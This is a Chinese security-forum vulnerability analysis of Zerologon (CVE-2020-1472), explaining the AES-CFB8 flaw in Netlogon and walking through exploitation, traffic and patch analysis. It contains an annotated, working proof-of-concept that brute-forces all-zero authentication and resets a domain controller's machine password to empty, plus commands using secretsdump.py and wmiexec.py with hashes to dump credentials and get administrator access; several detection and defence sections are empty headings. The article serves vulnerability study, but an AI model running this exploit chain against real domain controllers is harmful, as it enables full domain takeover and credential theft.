本文为看雪论坛精华文章
看雪论坛作者ID:有毒
-
目录 -
一、漏洞信息
-
1. 漏洞简述
-
2. 组件概述
-
3. 漏洞利用
-
4. 漏洞影响
-
5. 解决方案
-
二、漏洞复现
-
1. 环境搭建
-
2. 漏洞检测
-
3. 漏洞利用
-
三、漏洞分析
-
1.基本信息
-
2. 背景知识
-
3. 详细分析
-
1)2种credential的算法
-
2)存在漏洞的AES-CFB8
-
4. 利用思路
-
1)欺骗client credential
-
2)绕过signing 和 sealing
-
3)欺骗调用
-
4)修改计算机的AD域密码
-
5)从改密到域控
-
5. PoC分析
-
6. 流量分析
-
1)爆破特征
-
2)漏洞特征
-
①NetrServerReqChallenge
-
②NetrServerAuthenticate3
-
7. 补丁分析
-
1)BinDiff结果
-
四、漏洞检测和防御
-
1. 漏洞检测
-
2. 漏洞防御
-
1)流量侧
-
2)终端侧
-
五、参考文献
六、特别声明
-
1. 漏洞简述
-
漏洞名称:Netlogon Elevation of Privilege Vulnerability
-
漏洞编号:CVE-2020-1472
-
漏洞类型:Elevation of Privilege
-
漏洞影响:Elevation of Privilege
-
CVSS评分:10
-
利用难度:Medium
-
基础用户:不需要
2. 组件概述
3. 漏洞利用
4. 漏洞影响
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2019
Microsoft Windows Server version 2004 (Server Core Installation)
Microsoft Windows Server version 1903 (Server Core Installation)
Microsoft Windows Server version 1909 (Server Core Installation)
5. 解决方案
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
1. 环境搭建
-
域控主机name:ADSrv01
-
域控ip:XXXX
python setup.py install
2. 漏洞检测
pip install -r requirements.txt
python Scan.py ADSrv01 <IP>
3. 漏洞利用
python poc.py ADSrv01 <IP>
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'Domain/DC_NETBIOS_NAME$@dc_ip_addr'
example:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'v4ler1an/ADSrv01$@<IP>'
wmiexec.py -hashes HASH DOMAIN/USERNAME@IP
此处的例子为:
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8756481b09eec95190a6663a2dd879ab v4ler1an/adminstrator@<IP>
1. 基本信息
-
漏洞文件:netlogon.dll
-
漏洞函数:NetrServerAuthenticate3等
-
漏洞算法:AES
2. 背景知识
3. 详细分析
1)2种credential的算法
InitLMKey(KeyIn, KeyOut)
KeyOut[0] = KeyIn[0] 0x01;
KeyOut[1] = ((KeyIn[0]&0x01)<<6) | (KeyIn[1]>>2);
KeyOut[2] = ((KeyIn[1]&0x03)<<5) | (KeyIn[2]>>3);
KeyOut[3] = ((KeyIn[2]&0x07)<<4) | (KeyIn[3]>>4);
KeyOut[4] = ((KeyIn[3]&0x0F)<<3) | (KeyIn[4]>>5);
KeyOut[5] = ((KeyIn[4]&0x1F)<<2) | (KeyIn[5]>>6);
KeyOut[6] = ((KeyIn[5]&0x3F)<<1) | (KeyIn[6]>>7);
KeyOut[7] = KeyIn[6] & 0x7F;
for( int i=0; i<8; i++ ){
KeyOut[i] = (KeyOut[i] << 1) & 0xfe;
}
ComputeNetlogonCredential(Input, Sk,
Output)
SET k1 to bytes(0, 6, Sk)
CALL InitLMKey(k1, k3)
SET k2 to bytes(7, 13, Sk)
CALL InitLMKey(k2, k4)
CALL DES_ECB(Input, k3, &output1)
CALL DES_ECB(output1, k4, &output2)
SET Output to output2
ComputeNetlogonCredential(Input, Sk,
Output)
SET IV = 0
CALL AesEncrypt(Input, Sk, IV, Output)
2)存在漏洞的AES-CFB8
AES-CFB8算法的计算过程大致如下:
-
首先,在明文plaintext前面加上16字节长度的Initialistation Vector -
对修改后的IV+plaintext进行AES运算,获取其结果的第一个字节 -
使用获取的第1和字节和plaintext的下一个字节进行异或操作
4. 利用思路
1)欺骗client credential
NTSTATUS NetrServerAuthenticate3(
[in, unique, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* AccountName,
[in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,
[in, string] wchar_t* ComputerName,
[in] PNETLOGON_CREDENTIAL ClientCredential,
[out] PNETLOGON_CREDENTIAL ServerCredential,
[in, out] ULONG * NegotiateFlags,
[out] ULONG * AccountRid
);
typedef struct _NETLOGON_CREDENTIAL {
CHAR data[8];
} NETLOGON_CREDENTIAL,
*PNETLOGON_CREDENTIAL;
2)绕过signing 和 sealing
3) 欺骗调用
SET TimeNow = current time;
SET ClientAuthenticator.Timestamp = TimeNow;
SET ClientStoredCredential = ClientStoredCredential + TimeNow;
CALL ComputeNetlogonCredential(ClientStoredCredential,
Session-Key, ClientAuthenticator.Credential);
TimeStamp为NETLOGON_AUTHENTICATOR结构中的TimeStamp字段,包含当前的Posix时间。但是事实上,server并未对该值设置多少限制,因此可以简单地设置为1970年1月1日,即值设为0。
经过第一步后,我们知道ComputeNetlogonCredential(0)=0。因此,可以通过简单地提供全零authenticator和全零TimeStamp来验证第一个调用。
4)修改计算机的AD域密码
NTSTATUS NetrServerPasswordSet2(
[in, unique, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* AccountName,
[in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,
[in, string] wchar_t* ComputerName,
[in] PNETLOGON_AUTHENTICATOR Authenticator,
[out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,
[in] PNL_TRUST_PASSWORD ClearNewPassword
);
5)从改密到域控
5. PoC分析
#!/usr/bin/env python3
# impacket是该漏洞利用使用的主要的python库,用到了其中的诸多功能
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
# 根据前面的分析,理论上来讲,只要256次爆破就可以,但是为了保险和意外情况,这里作者给到了2000
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
# 错误回显,良心
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
# 尝试使用全0的凭据进行登录
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# 连接到DC的Netlogon服务.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# 使用全0的challenge以及credential.
plaintext = b'x00' * 8
ciphertext = b'x00' * 8
# 标准flags字段值设置,作者生成其参考为win10系统,但目前该值的设置普遍适用到最低winSrv2008.这里关闭了sign/seal标志位
flags = 0x212fffff
# 发送challenge和认证请求
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + 'x00', target_computer + 'x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3( # 调用NetrServerAuthenticate3函数
rpc_con, dc_handle + 'x00', target_computer + '$x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + 'x00', ciphertext, flags
)
# Impacket中hNetrServerAuthenticate3函数实现:
# def hNetrServerAuthenticate3(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags):
# request = NetrServerAuthenticate3()
# request['PrimaryName'] = checkNullString(primaryName) -----> dc_handle + 'x00'
# request['AccountName'] = checkNullString(accountName) -----> target_computer + '$x00',以空值结尾的Unicode字符串,用于标识包含客户端和服务器之间共享的密钥(密码)的帐户名称。
# request['SecureChannelType'] = secureChannelType ----------> nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,NETLOGON_SECURE_CHANNEL_TYPE枚举值,指示此调用建立的安全通道的类型。
# request['ClientCredential'] = clientCredential ------------> ciphertext,指向NETLOGON_CREDENTIAL结构的指针,该结构包含客户端凭据。
# request['ComputerName'] = checkNullString(computerName) ---> target_computer + 'x00',一个空终止的Unicode字符串,其中包含调用此方法的客户端计算机的NetBIOS名称。
# request['NegotiateFlags'] = negotiateFlags ----------------> flags
# return dce.request(request)
# 认证成功
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
# 如果失败,报一个STATUS_ACCESS_DENIED错误。在爆破成功前,都会返回该错误。
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
def perform_attack(dc_handle, dc_ip, target_computer):
# 进行爆破,平均次数为256
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if rpc_con == None:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
print('nAttack failed. Target is probably patched.')
sys.exit(1)
if __name__ == '__main__':
if not (3 <= len(sys.argv) <= 4):
print('Usage: zerologon_tester.py <dc-name> <dc-ip>n')
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip] = sys.argv
dc_name = dc_name.rstrip('$')
perform_attack('\\' + dc_name, dc_ip, dc_name)
......
# 爆破范围与检测脚本一致
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
# 异或
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
......
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# 同样登录DC的Netlogon服务.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# 使用全0的challenge和credential.
plaintext = b'x00' * 8
ciphertext = b'x00' * 8
# flags设置与检测脚本一致
flags = 0x212fffff
# 发送challenge和认证请求
serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + 'x00', target_computer + 'x00', plaintext)
serverChallenge = serverChallengeResp['ServerChallenge']
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + 'x00', target_computer+"$x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + 'x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
print()
server_auth.dump()
print("server challenge", serverChallenge)
# 设置IV为全0
try:
IV=b'x00'*16
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = ciphertext #authenticatorCred,全0
authenticator['Timestamp'] = b"x00" * 4 #0 # timestamp_var, 全0
request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = NULL
request['AccountName'] = target_computer + '$x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = target_computer + 'x00'
request["Authenticator"] = authenticator
request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD()
request["ClearNewPassword"]["Buffer"] = b'x00'*512
request["ClearNewPassword"]["Length"] = 0 # 根据secura的白皮书,总计516字节,前面占了512字节,再跟4字节数据长度
resp = rpc_con.request(request)
resp.dump()
......
6. 流量分析
1)爆破特征
2)漏洞特征
① NetrServerReqChallenge
②NetrServerAuthenticate3
7. 补丁分析
1)BinDiff结果

-
client提供的challenge存储在rcx指向的buffer中; -
检查一些全局变量,如果为1,则函数返回0,表示不存在漏洞。 -
检查rcx为非空,检查rdx为非空。 -
challenge的第1个字节存储在r9d中,然后在循环中将接下来的4个字节与它进行比较。如果这4个字节中的任何一个与第1个字节都不相同,则该函数返回0,不存在漏洞;否则返回1,存在漏洞。
1. 漏洞检测
2. 漏洞防御
1)流量侧
2)终端侧
看雪ID:有毒
https://bbs.pediy.com/user-home-779730.htm
*本文由看雪论坛 有毒 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看
本文始发于微信公众号(看雪学院):CVE-2020-1472 Netlogon权限提升漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论